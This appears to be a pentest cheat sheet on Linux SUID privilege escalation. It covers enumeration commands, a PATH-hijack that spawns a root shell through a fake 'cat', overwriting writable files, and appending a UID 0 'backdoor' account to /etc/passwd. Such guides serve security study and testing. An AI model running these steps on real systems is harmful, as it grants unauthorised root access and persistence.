Linux SUID binary exploitation

SUID (Set User ID on execution) makes a binary run as its owner, not the user who ran it. When a root-owned binary has SUID set and is misconfigured, it becomes a path from any user to root.

Find all SUID binaries owned by root

find / -perm /4000 2>/dev/null  # all files with SUID set
find / -perm -4000 -user root 2>/dev/null   # only root-owned SUID files

ls -la <binary> # permissions look like: -rwsr-xr-x (the 's' means SUID)

Analyze a suspicious binary

file <binary>   # what type of file is this?
strings <binary>    # printable strings - reveals called programs or paths

Common exploitation scenarios

Scenario	Technique
Binary calls another program without an absolute path	Place a malicious binary of that name earlier in $PATH
Binary calls a specific writable file	Overwrite that file’s contents, then trigger the binary
/etc/passwd itself is writable	Append a new root UID 0 account directly

Binary calls a program by name (no absolute path):

# Binary calls "cat" without full path. We can replace it:
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
./<suid_binary> # runs /tmp/cat as root → root shell

Binary calls a specific file that’s writable:

grep -rnw /usr/bin -e "/home/user/somefile"  # find where a file is referenced
echo "your malicious content" > /home/user/somefile  # overwrite it
# then trigger the SUID binary

/etc/passwd itself is writable (unusual but check):

ls -la /etc/passwd
# If writable, add a root account directly:
echo 'backdoor:$1$backdoor$...(hashed_pw)...:0:0:root:/root:/bin/bash' >> /etc/passwd

Related

• Linux privilege escalation via misconfigured cron jobs: another file-writability-based privesc path
• Linux kernel privilege escalation: the fallback when no SUID binary is exploitable
• Automated privesc enumeration: LinPEAS, WinPEAS, JAWS: flags SUID binaries automatically during enumeration